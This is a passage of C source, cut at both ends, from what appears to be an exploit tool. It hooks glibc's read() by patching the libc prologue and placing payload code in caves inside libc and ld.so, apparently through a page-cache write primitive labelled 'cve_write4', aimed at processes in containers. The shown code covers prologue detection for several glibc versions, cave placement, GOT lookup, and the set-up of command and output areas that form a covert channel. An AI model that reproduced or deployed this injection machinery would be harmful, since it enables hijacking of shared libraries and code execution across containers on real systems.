    /* Verify read() prologue: original cmpb or already-hooked jmp */
    uint8_t prologue[12];
    if (pread_full(fd, prologue, 12, L->read_foff) < 0) {
        fprintf(stderr, "[!] Failed to read read() prologue\n");
        return -1;
    }

    /* Detect endbr64 prefix (f3 0f 1e fa) -- CET-enabled libc */
    int cmp_off = 0;   /* offset of cmpb within prologue */
    if (prologue[0] == 0xf3 && prologue[1] == 0x0f &&
        prologue[2] == 0x1e && prologue[3] == 0xfa) {
        cmp_off = 4;
        L->read_has_endbr = 1;
        L->read_hook_len  = 11;
    } else {
        L->read_has_endbr = 0;
        L->read_hook_len  = 7;
    }

    if (prologue[cmp_off] == 0x80 && prologue[cmp_off+1] == 0x3d &&
        prologue[cmp_off+6] == 0x00) {
        /* PROLOGUE_OLD_CMPB -- extract __libc_single_threaded */
        L->prologue_kind = PROLOGUE_OLD_CMPB;

        int32_t st_disp;
        memcpy(&st_disp, &prologue[cmp_off+2], 4);
        /* RIP for this cmp = read_va + cmp_off + 7 (instruction length) */
        uint64_t st_from_prologue = L->read_va + cmp_off + 7 + (int64_t)st_disp;

        if (have_st_sym) {
            if (L->single_thr_va != st_from_prologue) {
                fprintf(stderr, "[!] __libc_single_threaded mismatch: "
                        "symbol=0x%lx prologue=0x%lx\n",
                        (unsigned long)L->single_thr_va,
                        (unsigned long)st_from_prologue);
                return -1;
            }
        } else {
            L->single_thr_va = st_from_prologue;
            if (verbose)
                printf("    __libc_single_threaded = 0x%lx  (from prologue)\n",
                       (unsigned long)L->single_thr_va);
        }
        if (verbose) {
            printf("    read() prologue: cmpb%s (cmpb $0x0, 0x%lx(%%rip))\n",
                   L->read_has_endbr ? " [endbr64]" : "",
                   (unsigned long)L->single_thr_va);
            printf("    hook length: %d bytes, return to read()+%d\n",
                   L->read_hook_len, L->read_hook_len);
        }

    } else if (prologue[cmp_off]   == 0x55  /* push rbp                 */
            && prologue[cmp_off+1] == 0x48  /* movsxd rdi, edi (REX.W) */
            && prologue[cmp_off+2] == 0x63
            && prologue[cmp_off+3] == 0xff
            && prologue[cmp_off+4] == 0x45  /* xor r9d, r9d (REX.R+B)  */
            && prologue[cmp_off+5] == 0x31
            && prologue[cmp_off+6] == 0xc9) {
        /* PROLOGUE_GLIBC243_PUSH_RBP -- arch's libc 2.43.
         * Same 7-byte length as the OLD cmpb, so zone_c.asm's fast_path
         * slot is reused as-is; patch_zone_c overlays the emulation
         * bytes at inject time and skips the R5 (single_thr) reloc. */
        L->prologue_kind = PROLOGUE_GLIBC243_PUSH_RBP;
        L->single_thr_va = 0;     /* unused for this prologue kind */

        if (verbose) {
            printf("    read() prologue: push rbp%s "
                   "(glibc 2.43-style; emulating push+movsxd+xor)\n",
                   L->read_has_endbr ? " [endbr64]" : "");
            printf("    hook length: %d bytes, return to read()+%d\n",
                   L->read_hook_len, L->read_hook_len);
        }

    } else if (prologue[cmp_off]   == 0x64  /* FS segment override     */
            && prologue[cmp_off+1] == 0x8b  /* MOV r32, r/m32          */
            && prologue[cmp_off+2] == 0x04  /* ModR/M  (mod=00, rm=4)  */
            && prologue[cmp_off+3] == 0x25  /* SIB     ([disp32])       */) {
        /* PROLOGUE_TLS_FS - glibc 2.31 / 2.35.
         *   mov eax, fs:[disp32]   8 bytes total (prefix+opcode+ModR/M+SIB+disp32)
         * The instruction is 8 bytes -- fills our 13-byte fast_path
         * emulation slot completely (zone_c.asm's NOP filler at slot
         * byte 7 gets overwritten with the 8th mov byte). The disp32
         * is absolute within %fs (TLS), NOT RIP-relative, so the
         * displaced bytes can be byte-copied verbatim into fast_path.
         *
         * Hook length grows by 1 because we must displace ALL 8 bytes
         * of the mov: 8 (no endbr) or 12 (with endbr). */
        L->prologue_kind = PROLOGUE_TLS_FS;
        L->single_thr_va = 0;
        L->read_hook_len = L->read_has_endbr ? 12 : 8;
        memcpy(L->tls_mov_bytes, &prologue[cmp_off], 8);

        if (verbose) {
            printf("    read() prologue: mov fs:[0x%02x%02x%02x%02x]%s "
                   "(glibc 2.31/2.35-style TLS check; emulating 8-byte mov)\n",
                   prologue[cmp_off+7], prologue[cmp_off+6],
                   prologue[cmp_off+5], prologue[cmp_off+4],
                   L->read_has_endbr ? " [endbr64]" : "");
            printf("    hook length: %d bytes, return to read()+%d\n",
                   L->read_hook_len, L->read_hook_len);
        }

    } else if (prologue[0] == 0xE9 &&
               prologue[5] == 0x90 && prologue[6] == 0x90) {
        /* Already hooked -- detect 7- vs 11-byte hook.
         * NOTE: we cannot tell the original prologue kind from a
         * hooked state (the bytes are gone). Default to OLD; if the
         * libc was actually arch's NEW prologue, the unhook restore
         * will write the wrong bytes back. Cleanest workaround: avoid
         * this case by always running inject + unhook in the same
         * page_inject session. Stop containers + drop_caches if the
         * page cache is stuck in a hooked state. */
        if (prologue[7] == 0x90) {
            L->read_has_endbr = 1;
            L->read_hook_len  = 11;
        } else {
            L->read_has_endbr = 0;
            L->read_hook_len  = 7;
        }
        L->prologue_kind = PROLOGUE_OLD_CMPB;
        if (!have_st_sym) {
            fprintf(stderr, "[!] Hook already active but "
                    "__libc_single_threaded not in .dynsym\n");
            return -1;
        }
        if (verbose)
            printf("    read() prologue: already hooked (%d-byte, jmp+nops; "
                   "assuming OLD prologue for restore)\n",
                   L->read_hook_len);

    } else {
        fprintf(stderr, "[!] Unexpected read() prologue: "
                "%02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x\n",
                prologue[0], prologue[1], prologue[2], prologue[3],
                prologue[4], prologue[5], prologue[6], prologue[7],
                prologue[8], prologue[9], prologue[10]);
        fprintf(stderr, "    Recognised patterns:\n");
        fprintf(stderr, "      [f3 0f 1e fa] 80 3d XX XX XX XX 00            "
                "(cmpb $0x0, mem(%%rip)   -- glibc 2.36/2.39)\n");
        fprintf(stderr, "      [f3 0f 1e fa] 55 48 63 ff 45 31 c9            "
                "(push rbp + movsxd + xor -- glibc 2.43)\n");
        fprintf(stderr, "      [f3 0f 1e fa] 64 8b 04 25 18 00 00 00         "
                "(mov eax, fs:[0x18]      -- glibc 2.31/2.35)\n");
        return -1;
    }


    /* Code cave = inter-segment gap between exec and ro LOAD segments */
    if (ehdr.e_phoff == 0 || ehdr.e_phnum == 0) {
        fprintf(stderr, "[!] No program headers\n");
        return -1;
    }
    size_t ph_total = (size_t)ehdr.e_phnum * ehdr.e_phentsize;
    Elf64_Phdr *phdrs = malloc(ph_total);
    if (!phdrs) return -1;
    if (pread_full(fd, phdrs, ph_total, ehdr.e_phoff) < 0) {
        fprintf(stderr, "[!] Failed to read program headers\n");
        free(phdrs);
        return -1;
    }

    /* Find the executable (R E) and first read-only (R) LOAD segments */
    int have_exec = 0, have_ro = 0;
    uint64_t exec_off = 0, exec_va = 0, exec_fsz = 0;
    uint64_t ro_off = 0, ro_va = 0;

    for (int i = 0; i < ehdr.e_phnum; i++) {
        if (phdrs[i].p_type != PT_LOAD) continue;
        uint32_t f = phdrs[i].p_flags;
        if ((f & PF_X) && (f & PF_R) && !have_exec) {
            exec_off = phdrs[i].p_offset;
            exec_va  = phdrs[i].p_vaddr;
            exec_fsz = phdrs[i].p_filesz;
            have_exec = 1;
        } else if ((f & PF_R) && !(f & PF_X) && !(f & PF_W) && !have_ro) {
            /* First R-only LOAD after the exec segment */
            if (have_exec && phdrs[i].p_offset > exec_off) {
                ro_off = phdrs[i].p_offset;
                ro_va  = phdrs[i].p_vaddr;
                have_ro = 1;
            }
        }
    }
    free(phdrs);

    if (!have_exec || !have_ro) {
        fprintf(stderr, "[!] Could not find exec / read-only LOAD segments\n");
        return -1;
    }

    if (verbose) {
        printf("\n[*] LOAD segments:\n");
        printf("    exec (R E)  off 0x%lx  va 0x%lx  filesz 0x%lx\n",
               (unsigned long)exec_off, (unsigned long)exec_va,
               (unsigned long)exec_fsz);
        printf("    ro   (R)    off 0x%lx  va 0x%lx\n",
               (unsigned long)ro_off, (unsigned long)ro_va);
    }


    uint64_t gap_foff = exec_off + exec_fsz;
    uint64_t gap_size = ro_off - gap_foff;

    if (verbose)
        printf("    gap          off 0x%lx  size %lu bytes\n",
               (unsigned long)gap_foff, (unsigned long)gap_size);

    /* -- Probe ld.so layout & GOT anchor (path-B inputs) -----
     *
     * We run this BEFORE the libc cave check so the discovered
     * values are available to decide_inject_path() regardless of
     * whether libc's own cave is large enough. Failures here are
     * non-fatal: they just mean path B is unavailable. If path A
     * also can't fit, decide_inject_path() will refuse cleanly.
     */
    int ld_rc = discover_ld_layout(libc_path, fd, L);
    if (verbose) {
        if (ld_rc == 0) {
            printf("\n[*] ld.so layout (path-B candidate):\n");
            printf("    path          %s\n", L->ld.path);
            printf("    .text         VA 0x%lx  file+0x%lx  size 0x%lx\n",
                   (unsigned long)L->ld.text_va,
                   (unsigned long)L->ld.text_foff,
                   (unsigned long)L->ld.text_size);
            printf("    cave          VA 0x%lx  file+0x%lx  size %lu bytes\n",
                   (unsigned long)L->ld.cave_va,
                   (unsigned long)L->ld.cave_foff,
                   (unsigned long)L->ld.cave_size);
            printf("    _rtld_global  VA 0x%lx  (in ld.so)\n",
                   (unsigned long)L->ld.rtld_global_va);
            printf("    libc.GOT[_rtld_global]  VA 0x%lx  (in libc)\n",
                   (unsigned long)L->got_rtld_global_va);
        } else {
            printf("\n[*] ld.so layout: discovery failed; "
                   "path B unavailable (this is harmless when "
                   "path A succeeds).\n");
        }
    }

    /* Align cave start to 16 bytes. ALWAYS record the cave size, even if
     * it's too small for path A -- `decide_inject_path` will then check
     * whether path B can rescue us via the ld.so cave. */
    uint64_t tc_foff = (gap_foff + 15) & ~15ULL;
    L->text_cave_foff = tc_foff;
    L->text_cave_va   = exec_va + (tc_foff - exec_off);
    L->text_cave_size = (gap_foff + gap_size) - tc_foff;

    if (verbose) {
        printf("\n[*] Caves:\n");
        printf("    .text cave   VA 0x%lx  file+0x%lx  size %lu bytes  (need %d)\n",
               (unsigned long)L->text_cave_va,
               (unsigned long)L->text_cave_foff,
               (unsigned long)L->text_cave_size, MIN_TEXT_CAVE);
        printf("    slot region  VA 0x%lx  file+0x%lx  size %lu bytes  (kind=%s)\n",
               (unsigned long)L->slot_region_va,
               (unsigned long)L->slot_region_foff,
               (unsigned long)L->slot_region_size,
               L->slot_region_kind == SLOT_REGION_HASH
                   ? ".hash" : ".eh_frame_hdr (truncated)");
    }


    /* Path-A placement (Zone C + Zone A in libc cave) -- only meaningful
     * if the cave is large enough; path B leaves these zeroed and uses
     * trampoline / ld.so placements instead. */
    if (L->text_cave_size >= MIN_TEXT_CAVE) {
        L->zone_c_va   = L->text_cave_va;
        L->zone_c_foff = L->text_cave_foff;
        L->zone_a_va   = L->zone_c_va + ZONE_C_ALIGNED;
        L->zone_a_foff = L->zone_c_foff + ZONE_C_ALIGNED;
    }

    /* Slot table starts at the slot region's first byte. The region is
     * either `.hash` (post-8-byte-header) or the truncated tail of
     * `.eh_frame_hdr`; both are dormant at runtime. */
    L->slot_start_va   = L->slot_region_va;
    L->slot_start_foff = L->slot_region_foff;

    int max_slots = (int)(L->slot_region_size / 4);
    if (max_slots < 1) {
        fprintf(stderr, "[!] slot region too small for slot table\n");
        return -1;
    }
    L->slot_count = max_slots > MAX_SLOTS ? MAX_SLOTS : max_slots;

    L->slot_end_va = L->slot_start_va + (uint64_t)L->slot_count * 4;

    if (!have_bss_key_sym) {
        if (L->bss_size < 512) {
            fprintf(stderr, "[!] .bss too small and "
                    "__key_encryptsession_pk_LOCAL not found\n");
            return -1;
        }
        L->bss_key_va = L->bss_va + L->bss_size - 256;
        if (verbose)
            printf("    (bss key fallback: VA 0x%lx)\n",
                   (unsigned long)L->bss_key_va);
    }

    /* Communication areas, page-aligned within the slot region.
     * Both .hash (in libc's first R LOAD segment, p_vaddr == p_offset)
     * and .eh_frame_hdr (in libc's second R LOAD segment, also
     * p_vaddr == p_offset on every glibc we've measured) have file
     * offset == VA, so cmd_foff = cmd_va is safe. */
    L->cmd_va   = (L->slot_end_va + 0xFFF) & ~0xFFFULL;
    L->cmd_foff = L->cmd_va;

    L->output_va   = L->cmd_va + 0x1000;
    L->output_foff = L->output_va;

    /* Usable output: from output_va to the last full page within the slot region. */
    uint64_t region_end_va        = L->slot_region_va + L->slot_region_size;
    uint64_t region_last_full_pg  = region_end_va & ~0xFFFULL;
    if (L->output_va >= region_last_full_pg) {
        fprintf(stderr, "[!] slot region too small for output area\n");
        return -1;
    }
    L->output_size = region_last_full_pg - L->output_va;
    if (L->output_size > OUTPUT_MAX)
        L->output_size = OUTPUT_MAX;

    /* -- 10. Print summary ----------------------------------- */
    if (verbose) {
        printf("\n[*] Placement:\n");
        printf("    Zone C (hook+reg)  VA 0x%lx  file+0x%lx  (%d bytes)\n",
               (unsigned long)L->zone_c_va,
               (unsigned long)L->zone_c_foff, ZONE_C_SIZE);
        printf("    Zone A (cve_write4) VA 0x%lx  file+0x%lx  (%d bytes)\n",
               (unsigned long)L->zone_a_va,
               (unsigned long)L->zone_a_foff, ZONE_A_SIZE);
        printf("    Slot table         VA 0x%lx..0x%lx  (%d slots)\n",
               (unsigned long)L->slot_start_va,
               (unsigned long)L->slot_end_va, L->slot_count);
        printf("    BSS key            VA 0x%lx\n",
               (unsigned long)L->bss_key_va);
        printf("    Hook at read()     file+0x%lx\n",
               (unsigned long)L->read_foff);
        printf("    CMD area           VA 0x%lx  file+0x%lx\n",
               (unsigned long)L->cmd_va, (unsigned long)L->cmd_foff);
        printf("    Output area        VA 0x%lx  file+0x%lx  (%lu bytes)\n",
               (unsigned long)L->output_va, (unsigned long)L->output_foff,
               (unsigned long)L->output_size);
    }

    /* -- 11. Path decision ------------------------------------ */
    if (decide_inject_path(L) < 0)
        return -1;

    return 0;
}

/* -- Path decision ----------------------------------------------
 *
 *  Inspects libc and ld.so cave sizes (filled in by discover_layout +
 *  discover_ld_layout) and picks one of three outcomes:
 *
 *    libc cave  >= MIN_TEXT_CAVE                           -> path A
 *    ld.so cave >= MIN_LD_CAVE  AND  libc cave >= tramp     -> path B
 *    otherwise                                            -> -1 (refuse)
 *
 *  Side effects on `L`:
 *    path A: leaves `L->path_b == 0`; existing fields drive injection.
 *    path B: sets `L->path_b = 1`, computes trampoline placement in
 *            libc's cave, and computes zone_c_ld + zone_a placement
 *            in ld.so's cave.
 */
static int decide_inject_path(struct libc_layout *L)
{
    /* Path A: libc cave alone is sufficient -- keep current behaviour. */
    if (L->text_cave_size >= MIN_TEXT_CAVE) {
        L->path_b = 0;
        return 0;
    }

    /* Path B + non-OLD prologue is currently out of scope: zone_c_ld
     * and trampoline only emulate the OLD cmpb at their fast_path.
     * Supporting NEW (push+movsxd+xor) or TLS (mov fs:[disp32]) on
     * path B would mean an analogous asm extension over there. We
     * accept this gap and refuse cleanly. */
    if (L->prologue_kind != PROLOGUE_OLD_CMPB) {
        const char *kind_name =
            (L->prologue_kind == PROLOGUE_GLIBC243_PUSH_RBP)
                ? "glibc 2.43 push rbp"
                : "glibc 2.31/2.35 TLS mov fs:[0x18]";
        fprintf(stderr,
                "[!] libc cave too small for path A (%lu B; need %d) and "
                "the %s prologue is not yet supported on path B\n",
                (unsigned long)L->text_cave_size, MIN_TEXT_CAVE,
                kind_name);
        return -1;
    }

    /* Path B candidates. Need: ld.so layout populated AND ld cave big
     * enough AND libc cave big enough for the trampoline. */
    if (L->ld.cave_size == 0) {
        fprintf(stderr,
                "[!] libc cave too small (%lu B; need %d) and ld.so "
                "layout unavailable -- cannot use path B\n",
                (unsigned long)L->text_cave_size, MIN_TEXT_CAVE);
        return -1;
    }
    if (L->ld.cave_size < MIN_LD_CAVE) {
        fprintf(stderr,
                "[!] both caves too small (libc=%lu, ld=%lu; need libc>=%d "
                "or ld>=%d)\n",
                (unsigned long)L->text_cave_size,
                (unsigned long)L->ld.cave_size,
                MIN_TEXT_CAVE, MIN_LD_CAVE);
        return -1;
    }
    if (L->text_cave_size < TRAMPOLINE_SIZE) {
        fprintf(stderr,
                "[!] libc cave too small even for trampoline (%lu < %d)\n",
                (unsigned long)L->text_cave_size, TRAMPOLINE_SIZE);
        return -1;
    }

    /* Commit path B. Trampoline goes at the start of libc's cave. */
    L->path_b           = 1;
    L->trampoline_foff  = L->text_cave_foff;
    L->trampoline_va    = L->text_cave_va;

    /* zone_c_ld at start of ld.so cave; zone_a follows after 16-aligning. */
    L->ld.zone_c_ld_foff = L->ld.cave_foff;
    L->ld.zone_c_ld_va   = L->ld.cave_va;
    L->ld.zone_a_foff    = L->ld.cave_foff + ZONE_C_LD_ALIGNED;
    L->ld.zone_a_va      = L->ld.cave_va   + ZONE_C_LD_ALIGNED;

    if (verbose) {
        printf("\n[*] Path B selected (libc trampoline + ld.so payload):\n");
        printf("    trampoline (libc)   VA 0x%lx  file+0x%lx  (%d B)\n",
               (unsigned long)L->trampoline_va,
               (unsigned long)L->trampoline_foff, TRAMPOLINE_SIZE);
        printf("    zone_c_ld (ld.so)   VA 0x%lx  file+0x%lx  (%d B)\n",
               (unsigned long)L->ld.zone_c_ld_va,
               (unsigned long)L->ld.zone_c_ld_foff, ZONE_C_LD_SIZE);
        printf("    zone_a    (ld.so)   VA 0x%lx  file+0x%lx  (%d B)\n",
               (unsigned long)L->ld.zone_a_va,
               (unsigned long)L->ld.zone_a_foff, ZONE_A_SIZE);
    }

    return 0;
}

/* -- ld.so layout discovery ---------------------------------------
 *
 *  Walks libc -> finds PT_INTERP -> opens that ld.so on the host ->
 *  parses its ELF for the `.text` cave + `_rtld_global` symbol ->
 *  walks libc's `.rela.dyn` for the matching `R_X86_64_GLOB_DAT`
 *  GOT slot. Populates `L->ld` and `L->got_rtld_global_va` so
 *  decide_inject_path() can choose path B when libc's own cave
 *  is too small.
 *
 *  Failure here is non-fatal -- when path A succeeds we never
 *  reach decide_inject_path() needing path B inputs.
 */

/* Walk an ELF's section headers to find .dynsym, .dynstr, and an
 * optional `extra_name` section (e.g. ".rela.dyn"). All offsets are
 * file offsets. Caller provides a buffer for shstrtab so we can free
 * it on the spot. Returns 0 on success. */
static int find_dyn_sections(int fd,
                             uint64_t *dynsym_off, uint64_t *dynsym_sz,
                             uint64_t *dynstr_off, uint64_t *dynstr_sz,
                             const char *extra_name,
                             uint64_t *extra_off, uint64_t *extra_sz)
{
    Elf64_Ehdr ehdr;
    if (pread_full(fd, &ehdr, sizeof(ehdr), 0) < 0) return -1;
    if (memcmp(ehdr.e_ident, ELFMAG, SELFMAG) != 0) return -1;
    if (ehdr.e_shoff == 0 || ehdr.e_shnum == 0) return -1;

    size_t sh_total = (size_t)ehdr.e_shnum * ehdr.e_shentsize;
    Elf64_Shdr *shdrs = malloc(sh_total);
    if (!shdrs) return -1;
    if (pread_full(fd, shdrs, sh_total, ehdr.e_shoff) < 0) {
        free(shdrs); return -1;
    }
    if (ehdr.e_shstrndx >= ehdr.e_shnum) {
        free(shdrs); return -1;
    }
    Elf64_Shdr *shstr_sh = &shdrs[ehdr.e_shstrndx];
    char *shstrtab = malloc(shstr_sh->sh_size);
    if (!shstrtab) { free(shdrs); return -1; }
    if (pread_full(fd, shstrtab, shstr_sh->sh_size, shstr_sh->sh_offset) < 0) {
        free(shstrtab); free(shdrs); return -1;
    }

    *dynsym_off = *dynsym_sz = 0;
    *dynstr_off = *dynstr_sz = 0;
    if (extra_off) *extra_off = 0;
    if (extra_sz)  *extra_sz  = 0;

    for (int i = 0; i < ehdr.e_shnum; i++) {
        if (shdrs[i].sh_name >= shstr_sh->sh_size) continue;
        const char *n = shstrtab + shdrs[i].sh_name;
        if (strcmp(n, ".dynsym") == 0) {
            *dynsym_off = shdrs[i].sh_offset;
            *dynsym_sz  = shdrs[i].sh_size;
        } else if (strcmp(n, ".dynstr") == 0) {
            *dynstr_off = shdrs[i].sh_offset;
            *dynstr_sz  = shdrs[i].sh_size;
        } else if (extra_name && strcmp(n, extra_name) == 0) {
            if (extra_off) *extra_off = shdrs[i].sh_offset;
            if (extra_sz)  *extra_sz  = shdrs[i].sh_size;
        }
    }

    free(shstrtab);
    free(shdrs);

    if (*dynsym_off == 0 || *dynstr_off == 0) return -1;
    return 0;
}

/* Find the runtime VA of an R_X86_64_GLOB_DAT GOT slot whose target
 * symbol is `name`. Walks the file's .rela.dyn (some distros put the
 * relocation in .rela.plt instead -- we check both). Returns 0 on success
 * with *got_va_out set to the relocation's r_offset (== the GOT slot's
 * VA in the file's address space, which equals its file offset for
 * sections in LOAD-mapped segments). */
static int find_got_slot_for_symbol(int fd, const char *name,
                                    uint64_t *got_va_out)
{
    uint64_t dynsym_off, dynsym_sz, dynstr_off, dynstr_sz;
    uint64_t rela_off,   rela_sz;

    /* Try .rela.dyn first (the canonical home of R_X86_64_GLOB_DAT). */
    if (find_dyn_sections(fd, &dynsym_off, &dynsym_sz,
                          &dynstr_off, &dynstr_sz,
                          ".rela.dyn", &rela_off, &rela_sz) < 0) {
        fprintf(stderr, "[!] find_got_slot: missing .dynsym/.dynstr\n");
        return -1;
    }
    if (rela_off == 0) {
        /* Fall back to .rela.plt (less common for objects, but legal). */
        if (find_dyn_sections(fd, &dynsym_off, &dynsym_sz,
                              &dynstr_off, &dynstr_sz,
                              ".rela.plt", &rela_off, &rela_sz) < 0
            || rela_off == 0) {
            fprintf(stderr, "[!] find_got_slot: no .rela.dyn or .rela.plt\n");
            return -1;
        }
    }

    /* Read symbol/string tables to find `name`'s symbol index. */
    Elf64_Sym *syms = malloc(dynsym_sz);
    if (!syms) return -1;
    if (pread_full(fd, syms, dynsym_sz, dynsym_off) < 0) {
        free(syms); return -1;
    }
    char *strs = malloc(dynstr_sz);
    if (!strs) { free(syms); return -1; }
    if (pread_full(fd, strs, dynstr_sz, dynstr_off) < 0) {
        free(strs); free(syms); return -1;
    }

    int nsyms = dynsym_sz / sizeof(Elf64_Sym);
    int sym_idx = -1;
    for (int i = 0; i < nsyms; i++) {
        if (syms[i].st_name == 0 || syms[i].st_name >= dynstr_sz) continue;
        if (strcmp(strs + syms[i].st_name, name) == 0) {
            sym_idx = i;
            break;
        }
    }
    free(strs);
    free(syms);

    if (sym_idx < 0) {
        fprintf(stderr, "[!] find_got_slot: symbol '%s' not in .dynsym\n", name);
        return -1;
    }

    /* Walk relocations for R_X86_64_GLOB_DAT against sym_idx. */
    Elf64_Rela *relas = malloc(rela_sz);
    if (!relas) return -1;
    if (pread_full(fd, relas, rela_sz, rela_off) < 0) {
        free(relas); return -1;
    }

    int nrelas = rela_sz / sizeof(Elf64_Rela);
    uint64_t got_va = 0;
    for (int i = 0; i < nrelas; i++) {
        uint32_t type = ELF64_R_TYPE(relas[i].r_info);
        uint32_t sym  = ELF64_R_SYM(relas[i].r_info);
        if (type == R_X86_64_GLOB_DAT && (int)sym == sym_idx) {
            got_va = relas[i].r_offset;
            break;
        }
    }
    free(relas);

    if (got_va == 0) {
        fprintf(stderr, "[!] find_got_slot: no R_X86_64_GLOB_DAT for '%s'\n", name);
        return -1;
    }

    *got_va_out = got_va;
    return 0;
}

/* Parse ld.so's ELF: locate the `.text` cave (gap between exec and ro
 * LOAD segments, aligned to 16) and find `_rtld_global`'s VA in
 * `.dynsym`. Returns 0 on success with `ld` populated (path[] and fd
 * are left untouched -- caller fills those in). */
static int parse_ld_layout(int ld_fd, struct ld_layout *ld)
{
    Elf64_Ehdr ehdr;
    if (pread_full(ld_fd, &ehdr, sizeof(ehdr), 0) < 0) {
        fprintf(stderr, "[!] ld.so: failed to read ELF header\n");
        return -1;
    }
    if (memcmp(ehdr.e_ident, ELFMAG, SELFMAG) != 0 ||
        ehdr.e_ident[EI_CLASS] != ELFCLASS64 ||
        ehdr.e_ident[EI_DATA]  != ELFDATA2LSB ||
        ehdr.e_type != ET_DYN) {
        fprintf(stderr, "[!] ld.so: not a valid ELF64 LE shared object\n");
        return -1;
    }

    /* Walk LOAD segments to compute the .text cave (exec -> ro gap). */
    if (ehdr.e_phoff == 0 || ehdr.e_phnum == 0) {
        fprintf(stderr, "[!] ld.so: no program headers\n");
        return -1;
    }
    size_t ph_total = (size_t)ehdr.e_phnum * ehdr.e_phentsize;
    Elf64_Phdr *phdrs = malloc(ph_total);
    if (!phdrs) return -1;
    if (pread_full(ld_fd, phdrs, ph_total, ehdr.e_phoff) < 0) {
        free(phdrs); return -1;
    }

    int have_exec = 0, have_ro = 0;
    uint64_t exec_off = 0, exec_va = 0, exec_fsz = 0;
    uint64_t ro_off = 0;
    for (int i = 0; i < ehdr.e_phnum; i++) {
        if (phdrs[i].p_type != PT_LOAD) continue;
        uint32_t f = phdrs[i].p_flags;
        if ((f & PF_X) && (f & PF_R) && !have_exec) {
            exec_off = phdrs[i].p_offset;
            exec_va  = phdrs[i].p_vaddr;
            exec_fsz = phdrs[i].p_filesz;
            have_exec = 1;
        } else if ((f & PF_R) && !(f & PF_X) && !(f & PF_W) &&
                   !have_ro && have_exec &&
                   phdrs[i].p_offset > exec_off) {
            ro_off = phdrs[i].p_offset;
            have_ro = 1;
        }
    }
    free(phdrs);

    if (!have_exec || !have_ro) {
        fprintf(stderr, "[!] ld.so: missing exec / ro LOAD segments\n");
        return -1;
    }

    uint64_t gap_off  = exec_off + exec_fsz;
    uint64_t gap_size = ro_off - gap_off;
    uint64_t cave_off = (gap_off + 15) & ~15ULL;

    ld->text_va    = exec_va;
    ld->text_foff  = exec_off;
    ld->text_size  = exec_fsz;
    ld->cave_foff  = cave_off;
    ld->cave_va    = exec_va + (cave_off - exec_off);
    ld->cave_size  = (gap_off + gap_size) - cave_off;

    /* Find _rtld_global in ld.so's .dynsym. The lookup_symbol helper
     * already strips ELF64_ST_TYPE/etc; it walks the table linearly
     * and matches on undecorated symbol name. The "@@GLIBC_PRIVATE"
     * version suffix lives in .gnu.version, not in the name string,
     * so plain "_rtld_global" matches every glibc tested (2.31..2.43). */
    uint64_t dynsym_off, dynsym_sz, dynstr_off, dynstr_sz;
    if (find_dyn_sections(ld_fd, &dynsym_off, &dynsym_sz,
                          &dynstr_off, &dynstr_sz, NULL, NULL, NULL) < 0) {
        fprintf(stderr, "[!] ld.so: missing .dynsym/.dynstr\n");
        return -1;
    }
    Elf64_Sym sym;
    if (lookup_symbol(ld_fd, dynsym_off, dynsym_sz,
                      dynstr_off, dynstr_sz, "_rtld_global", &sym) < 0) {
        /* Fallback symbols documented in the design notes (not yet
         * implemented): _rtld_global_ro, __tls_get_addr. Add only
         * when a real distro fails this lookup. */
        fprintf(stderr, "[!] ld.so: '_rtld_global' not in .dynsym\n");
        return -1;
    }
    ld->rtld_global_va = sym.st_value;

    return 0;
}

static int discover_ld_layout(const char *libc_path, int libc_fd,
                              struct libc_layout *L)
{
    /* We must not call readlink(/proc/self/fd/<n>) here: that returns
     * the underlying overlayfs path (e.g.
     * /var/lib/docker/overlay2/<id>/merged/...), which loses the
     * /proc/<pid>/root/ prefix the caller used. Without that prefix
     * we'd resolve PT_INTERP against the HOST mount namespace and
     * silently open the host's ld.so for every distro. Use the
     * caller-supplied libc_path string instead -- it preserves the
     * container-relative root the caller intends to operate on. */

    /* 1. Read libc's PT_INTERP to get the dynamic linker path
     *    (this is the path string from inside the container). */
    Elf64_Ehdr libc_ehdr;
    if (pread_full(libc_fd, &libc_ehdr, sizeof(libc_ehdr), 0) < 0) {
        fprintf(stderr, "[!] libc: re-read ELF header failed\n");
        return -1;
    }
    size_t ph_total = (size_t)libc_ehdr.e_phnum * libc_ehdr.e_phentsize;
    Elf64_Phdr *libc_phdrs = malloc(ph_total);
    if (!libc_phdrs) return -1;
    if (pread_full(libc_fd, libc_phdrs, ph_total, libc_ehdr.e_phoff) < 0) {
        free(libc_phdrs); return -1;
    }

    char interp[256] = {0};
    int have_interp = 0;
    for (int i = 0; i < libc_ehdr.e_phnum; i++) {
        if (libc_phdrs[i].p_type != PT_INTERP) continue;
        size_t sz = libc_phdrs[i].p_filesz;
        if (sz == 0 || sz > sizeof(interp) - 1) {
            sz = sizeof(interp) - 1;
        }
        if (pread_full(libc_fd, interp, sz, libc_phdrs[i].p_offset) < 0) {
            free(libc_phdrs); return -1;
        }
        interp[sz] = '\0';
        /* Trim trailing NULs that p_filesz includes. */
        size_t k = strlen(interp);
        while (k > 0 && interp[k - 1] == '\0') interp[--k] = '\0';
        have_interp = 1;
        break;
    }
    free(libc_phdrs);

    if (!have_interp) {
        fprintf(stderr, "[!] libc has no PT_INTERP -- cannot locate ld.so\n");
        return -1;
    }

    /* 2. Translate the container-relative interp path to a host-side
     *    path. If libc_path is /proc/<pid>/root/<sub>, prepend that
     *    /proc/<pid>/root to the interp string. Otherwise (caller
     *    opened libc directly on the host filesystem) use interp as-is. */
    char ld_realpath[1024];
    int translated = 0;
    if (strncmp(libc_path, "/proc/", 6) == 0) {
        const char *p = libc_path + 6;
        while (*p >= '0' && *p <= '9') p++;
        if (strncmp(p, "/root", 5) == 0) {
            size_t prefix_len = (size_t)((p - libc_path) + 5);
            int rc = snprintf(ld_realpath, sizeof(ld_realpath), "%.*s%s",
                              (int)prefix_len, libc_path, interp);
            if (rc <= 0 || (size_t)rc >= sizeof(ld_realpath)) {
                fprintf(stderr, "[!] ld.so path overflow\n");
                return -1;
            }
            translated = 1;
        }
    }
    if (!translated) {
        snprintf(ld_realpath, sizeof(ld_realpath), "%s", interp);
    }

    /* 3. Open ld.so and parse its layout. */
    int ld_fd = open(ld_realpath, O_RDONLY);
    if (ld_fd < 0) {
        fprintf(stderr, "[!] open(%s): %s\n", ld_realpath, strerror(errno));
        return -1;
    }

    memset(&L->ld, 0, sizeof(L->ld));
    L->ld.fd = -1;
    snprintf(L->ld.path, sizeof(L->ld.path), "%s", ld_realpath);

    if (parse_ld_layout(ld_fd, &L->ld) < 0) {
        close(ld_fd);
        return -1;
    }
    close(ld_fd);

    /* 4. Find libc's GOT slot for _rtld_global. */
